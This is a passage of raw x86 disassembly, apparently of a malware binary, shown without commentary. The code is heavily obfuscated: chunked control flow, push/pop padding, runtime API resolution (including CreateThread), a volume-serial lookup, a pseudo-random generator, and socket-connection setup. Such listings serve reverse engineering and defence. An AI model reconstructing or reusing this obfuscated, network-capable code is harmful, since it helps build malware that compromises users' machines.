		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		mov	[ebp-18h], esp
		mov	[ebp-228h], ebx
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BA623
		call	dword ptr [ecx+18h]
		xor	esi, esi
		mov	[ebp-4], esi
		cmp	[ebp+8], esi
		jz	loc_9B104C
		jmp	loc_9AF184
sub_9B4FD0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B5034:				; CODE XREF: sub_9AC32C:loc_9B5E20j
		test	esi, esi
		push	[esp+324h+arg_0]
		pop	esi
		jz	loc_9B4127
		jmp	loc_9AD280
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B504C:				; CODE XREF: sub_9B037C-49BDj
					; sub_9B2E04-9EEj ...
		and	edi, edi
		jz	loc_9AC13B
		jmp	off_9B9CEC
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B505C:				; CODE XREF: sub_9B0930+F87j
		push	offset aCreatethread ; "CreateThread"
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+14h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+14h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAFC3
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B5090:				; CODE XREF: sub_9AC6DC+3984j
		mov	dword_9BBD24, 0FFFFFFFFh
		jmp	loc_9AF003
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B50A0:				; CODE XREF: sub_9B0930+3F93j
					; DATA XREF: .text:off_9B9E97o
		push	off_9BA0F5
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+24h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax]
		mov	ecx, [eax+24h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AD55C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B50D0:				; CODE XREF: sub_9B4950-49F2j
					; DATA XREF: .text:off_9B8F9Ao
		cmp	dword_9BEC20[edi], ebx
		jz	loc_9B332E
		jmp	loc_9B366C
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9B50EC:				; CODE XREF: sub_9ABA3C+A2E1j
		or	eax, eax
		jz	loc_9B0296
		jmp	off_9BADF4
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B5100	proc near		; CODE XREF: sub_9B4BF8-701Ep
					; sub_9B57B4-11B5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AB6B4 SIZE 00000015 BYTES

		push	esi
		push	eax
		pop	esi
		push	edi
		xor	eax, eax
		mov	edi, esi
		push	40h
		pop	ecx
		rep stosd
		stosw
		xor	eax, eax


loc_9B5111:				; CODE XREF: sub_9B5100+1Bj
		mov	[eax+esi+2], al
		inc	eax
		cmp	eax, 100h
		jl	short loc_9B5111
		jmp	loc_9AB6B4
sub_9B5100	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B5124:				; CODE XREF: sub_9B649C-81F7j
					; DATA XREF: .text:off_9B9D04o
		add	eax, 1Ah
		mov	[ebp+var_1C], eax


loc_9B512A:				; CODE XREF: sub_9B649C-81FDj
		test	bh, 7Fh
		jz	loc_9AE5F0
		jmp	loc_9B0D18
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B5140:				; CODE XREF: sub_9AF030+5AC6j
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		push	0
		push	0
		mov	eax, dword_9BBF9C[esi]
		push	eax
		call	dword ptr [edx+78h]
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		mov	ecx, [edi]
		push	ecx
		push	dword ptr [edi+44h]
		pop	eax
		push	eax
		mov	ecx, dword_9BBF9C[esi]
		push	ecx
		call	dword ptr [edx+74h]
		or	eax, eax
		jz	loc_9AC620
		jmp	off_9B8ECE
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B5188:				; CODE XREF: sub_9B04A8+11j
					; DATA XREF: .text:off_9B942Do
		sub	ebx, ebx
		mov	[ebp-404Ch], ebx
		mov	[ebp-4040h], ebx


loc_9B5196:				; CODE XREF: sub_9B04A8+58CEj
		cmp	dword ptr [ebp-4040h], 3
		jge	loc_9B2630
		jmp	off_9B9EF5
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF3E8


loc_9B51AC:				; CODE XREF: sub_9AF3E8+8j
		push	1
		pop	eax


loc_9B51AF:				; CODE XREF: sub_9AF3E8+2j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	eax
		push	40h
		call	dword ptr [edx+7Ch]
		retn
; END OF FUNCTION CHUNK	FOR sub_9AF3E8
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp+0Ch]
		pop	ebx
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9B51E4:				; CODE XREF: sub_9AD97C+28A8j
					; DATA XREF: .text:off_9B99EEo
		mov	[ebp-1Ch], esi
		jmp	loc_9AC18B
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B51EC:				; CODE XREF: sub_9B0930-2A55j
		push	off_9B89B4
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+54h], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+10h]
		mov	ecx, [eax+54h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B5594
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B5228	proc near		; CODE XREF: sub_9AEBB8+61j
					; DATA XREF: .text:off_9B9052o
		push	ebx
		push	ebx		; lpFileSystemNameBuffer
		lea	ecx, [ebp-128h]
		push	ecx		; lpFileSystemFlags
		lea	edx, [ebp-12Ch]
		push	edx		; lpMaximumComponentLength
		lea	eax, [ebp-124h]
		push	eax		; lpVolumeSerialNumber
		push	ebx		; nVolumeNameSize
		push	ebx		; lpVolumeNameBuffer
		lea	ecx, [ebp-120h]
		push	ecx		; lpRootPathName
		call	GetVolumeInformationA
		and	eax, eax
		jnz	loc_9ABDE3
		jmp	off_9BA7C9
sub_9B5228	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B525C:				; CODE XREF: sub_9B1A08-30A4j
					; DATA XREF: .text:off_9B8D2Bo
		mov	esi, eax
		mov	[ebp+var_41E8],	esi
		inc	eax
		mov	[ebp+var_41E0],	eax
		cmp	eax, 1
		jnz	loc_9AF792
		jmp	off_9BA488
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9B527C:				; CODE XREF: sub_9B3FF8-82E2j
		cmp	ebx, edi
		ja	loc_9B2884
		jmp	loc_9B02B0
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9B528F:				; CODE XREF: sub_9B2F1C-79CBj
					; sub_9B2F1C-5ACFj ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B52A8:				; CODE XREF: sub_9B3864-4054j
					; DATA XREF: .text:off_9B9260o
		cmp	edi, 11h
		jnz	loc_9AFC90
		jmp	loc_9AF0F8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B52B8:				; CODE XREF: sub_9B3864-1EAFj
		push	[ebp+var_2020]
		pop	eax
		test	eax, eax
		jnz	loc_9AF480
		jmp	off_9BA611
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B52D0:				; CODE XREF: sub_9B1D80+1F97j
		call	sub_9B36E8
		mov	edx, eax
		mov	[ebp-2050h], edx
		mov	eax, [ebp-202Ch]
		and	eax, 7FFFFFFFh
		mov	ecx, edx
		and	ecx, 7FFFFFFFh
		cmp	ecx, eax
		jbe	loc_9B0208
		jmp	loc_9AAFDC
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B5300	proc near		; CODE XREF: sub_9B3984-7BCBp
					; sub_9B63D8-2C39p ...

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009ABA00 SIZE 00000009 BYTES

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	eax
		pop	esi
		mov	ebx, ecx
		or	esi, esi
		jle	loc_9ABA00
		jmp	off_9B8A02
sub_9B5300	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B531C:				; CODE XREF: sub_9B0930-3C7j
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B0E28
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9B532C:				; CODE XREF: sub_9B36E8+5Ej
					; DATA XREF: .text:off_9B8CC1o
		push	dword_9BBD2C
		pop	esi
		mov	[ebp-1Ch], esi
		cmp	esi, edi
		jz	loc_9AC48D
		jmp	loc_9AC484
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B5344:				; CODE XREF: sub_9AF25C-3883j
					; sub_9AF25C-1696j
		test	al, 2
		jz	loc_9AB8D1
		jmp	off_9BADA0
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B5354:				; CODE XREF: sub_9B1D80:loc_9B0208j
		mov	eax, [ebp-2028h]
		and	eax, eax
		jnz	loc_9B3ECB
		jmp	off_9B87DC
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B5368:				; CODE XREF: sub_9AC250-F70j
		xor	eax, [esp+0Ch+arg_0]


loc_9B536C:				; CODE XREF: sub_9AC250+152Aj
					; sub_9AC250+2F26j ...
		mov	ecx, 15A4E35h
		mul	ecx
		add	eax, 1
		adc	edx, 0
		xor	[esi+8], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 1
		xor	[esi+0Ch], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 2
		xor	[esi+8], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 3
		xor	[esi+0Ch], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 4
		xor	[esi+8], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 5
		xor	[esi+0Ch], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 6
		xor	[esi+8], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 7
		xor	[esi+0Ch], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 8
		xor	[esi+8], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 9
		xor	[esi+0Ch], dx
		push	dword ptr [esi+8]
		pop	edi
		push	edi
		pop	edx
		jmp	loc_9B0F50
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B29B0


loc_9B541B:				; CODE XREF: sub_9B29B0-3FDAj
					; sub_9B29B0-6CCj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-228h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B29B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B5444:				; CODE XREF: sub_9B1A08-36BCj
					; sub_9B1A08-31FCj
		test	al, 4
		jz	loc_9AD484
		jmp	off_9BB09B
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B5454:				; CODE XREF: sub_9B4CF4-2019j
					; DATA XREF: .text:off_9B9518o
		sub	eax, edx
		mov	edi, ebx
		dec	edi


loc_9B5459:				; CODE XREF: sub_9B4CF4+76Bj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_9B5459
		jmp	off_9BABBF
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B5468:				; CODE XREF: sub_9ADDA4+35F7j
		dec	edi
		mov	[ebp-30h], edi
		mov	eax, [ebp+edi*4-27Ch]
		mov	[ebp+esi*4-27Ch], eax
		jmp	loc_9AED43
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B5480	proc near		; CODE XREF: sub_9AF25C-3988p
					; sub_9AF25C-3891p ...

; FUNCTION CHUNK AT 009AB858 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD8D8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE9A0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B0AB0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B335B SIZE 00000018 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA5EC
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	ecx
		pop	esi
		mov	dword ptr [ebp-4], 0
		test	esi, esi
		jz	loc_9B335B
		jmp	off_9B88C8
sub_9B5480	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B54C0:				; CODE XREF: sub_9B63D8-942j
		cmp	esi, 0FFFFFFFFh
		jz	loc_9AF944
		jmp	off_9BA98E
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B54D0:				; CODE XREF: sub_9B4FD0-3F73j
		lea	ecx, [eax+eax*2]
		shl	ecx, 4
		cmp	dword_9BBF74[ecx], esi
		jnz	loc_9ACC18
		jmp	off_9B8C64
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B54E8:				; CODE XREF: sub_9B174C+2854j
		sub	eax, edi


loc_9B54EA:				; CODE XREF: sub_9B174C+4656j
		mov	[esi], eax
		mov	ecx, dword_9BBE3C
		mov	edx, [ecx]
		sub	edx, eax
		sub	edx, edi
		mov	[ebx], edx
		mov	ecx, [esi]
		push	dword_9BBE3C
		pop	eax
		mov	esi, [eax+44h]
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	ecx
		pop	edx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		cmp	dword ptr [ebx], 0
		jnz	loc_9B166F
		jmp	off_9B9A21
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B5528:				; CODE XREF: sub_9AC250+2F2Cj
		cmp	ecx, ebx
		jz	loc_9B536C
		jmp	off_9BB029
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9B5538:				; CODE XREF: sub_9AD11C+2Ej
		mov	ecx, [esp+18h+arg_0]
		push	dword_9BCB74
		pop	edx
		sub	eax, eax
		mov	[esp+18h+var_14], eax
		mov	[esp+18h+var_10], eax
		mov	[esp+18h+var_C], eax
		mov	[esp+18h+var_10], ecx
		push	[esp+18h+arg_4]
		pop	ecx
		push	edi
		mov	[esp+1Ch+var_8], eax
		mov	word ptr [esp+1Ch+var_14], 2
		mov	eax, [edx+10h]
		push	ecx
		call	dword ptr [eax+8]
		mov	edx, dword_9BCB74
		push	10h
		lea	ecx, [esp+1Ch+var_10]
		push	ecx
		mov	word ptr [esp+20h+var_10+2], ax
		mov	eax, [edx+10h]
		push	esi
		call	dword ptr [eax+50h]
		test	eax, eax
		jnz	loc_9B0B34
		jmp	loc_9B36C0
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B5594:				; CODE XREF: sub_9B0930+48E8j
		push	off_9B9072
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx+10h]
		mov	[ecx+58h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		mov	ecx, [eax+58h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B0984
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B55C4:				; CODE XREF: sub_9B63D8-3713j
					; DATA XREF: .text:off_9B8E9Co
		lea	ebx, [eax+4]
		mov	ecx, 9
		sub	eax, eax
		mov	[ebp-2124h], ebx
		mov	edi, off_9B9936
		lea	esi, [ebp-2120h]
		repe cmpsb
		jz	loc_9B1278
		jmp	off_9B9082
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B55F4:				; CODE XREF: sub_9B0930-1A74j
		push	10h
		push	40h
		call	edi
		mov	edx, dword_9BCB74
		mov	[edx+14h], eax
		push	10h
		push	40h
		call	edi
		push	dword_9BCB74
		pop	ecx
		mov	[ecx+18h], eax
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8EDA
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B562C	proc near		; CODE XREF: sub_9B03E8:loc_9AC404p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AD498 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009AE76C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AECDF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AF144 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009AFAE4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B07C8 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B0ADC SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009B2354 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAFCF
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], ebx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+84h]
		test	eax, eax
		mov	eax, off_9BAE26
		js	loc_9B0AE1
		jmp	loc_9B0ADC
sub_9B562C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B5690:				; CODE XREF: sub_9B03E8+3596j
					; DATA XREF: .text:off_9B9775o
		push	dword_9BF380
		pop	eax
		or	eax, 1
		mov	word ptr dword_9BF380, ax


loc_9B56A0:				; CODE XREF: sub_9B03E8+27F1j
					; sub_9B03E8+3590j
		mov	dword ptr [ebp-14Ch], 9Ch
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		lea	eax, [ebp-14Ch]
		push	eax
		call	dword ptr [edx+90h]
		test	eax, eax
		jz	loc_9AC404
		jmp	loc_9ABFC0
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B56D0:				; CODE XREF: sub_9B1D80+4394j
		push	dword ptr [ebp-2044h]
		pop	eax
		test	byte ptr [eax+8], 8
		jz	loc_9AE945
		jmp	loc_9AE918
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B0C20


loc_9B56EB:				; CODE XREF: sub_9B0C20+38j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B0C20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B5708:				; CODE XREF: sub_9B4FD0-62FAj
		push	eax
		pop	ebx
		mov	[ebp-228h], ebx


loc_9B5710:				; CODE XREF: sub_9B4FD0-7CA6j
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9ABB60
		jmp	off_9BA340
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9B5724:				; CODE XREF: sub_9B037C-326Ej
		mov	ebx, [ebp-4058h]
; END OF FUNCTION CHUNK	FOR sub_9B037C
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B572A:				; CODE XREF: sub_9B2E04-3D69j
					; sub_9B037C+29j
		test	edi, edi
		jz	loc_9B107C
		jmp	loc_9ACB90
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B5738:				; CODE XREF: sub_9AF030+45E0j
		lea	edx, [ebx+eax]
		cmp	edx, 100000h
		ja	loc_9AC634
		jmp	loc_9B4160
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B574C:				; CODE XREF: sub_9B0930+55AAj
					; DATA XREF: .text:off_9B9897o
		push	off_9BA3D4
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+0Ch]
		pop	edx
		mov	[edx+10h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax+0Ch]
		mov	ecx, [eax+10h]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B38FC
; ---------------------------------------------------------------------------


loc_9B5780:				; CODE XREF: sub_9B0930-A76j
		push	off_9B9827
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+0Ch], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+10h]
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9974
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B57B4	proc near		; CODE XREF: sub_9B2118-1B75p

var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AC7E4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B1104 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B34C8 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 009B45E4 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009B4BAB SIZE 00000023 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA971
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 13Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		jmp	off_9BAEFD
sub_9B57B4	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9B5807:				; CODE XREF: sub_9AFF64-3385j
					; sub_9AFF64-30E0j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+1Ch]
		push	[ebp+var_228]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5844:				; CODE XREF: sub_9B63D8-22BBj
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		lea	eax, [ebp-216Ch]
		push	eax
		lea	ecx, [ebp-2188h]
		push	ecx
		call	dword ptr [edx+48h]
		test	eax, eax
		jz	loc_9B4696
		jmp	loc_9B4668
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B586C:				; CODE XREF: sub_9B1F68+28EDj
		lea	ebx, [edi+ebp-24Ch]
		mov	esi, [ebx]
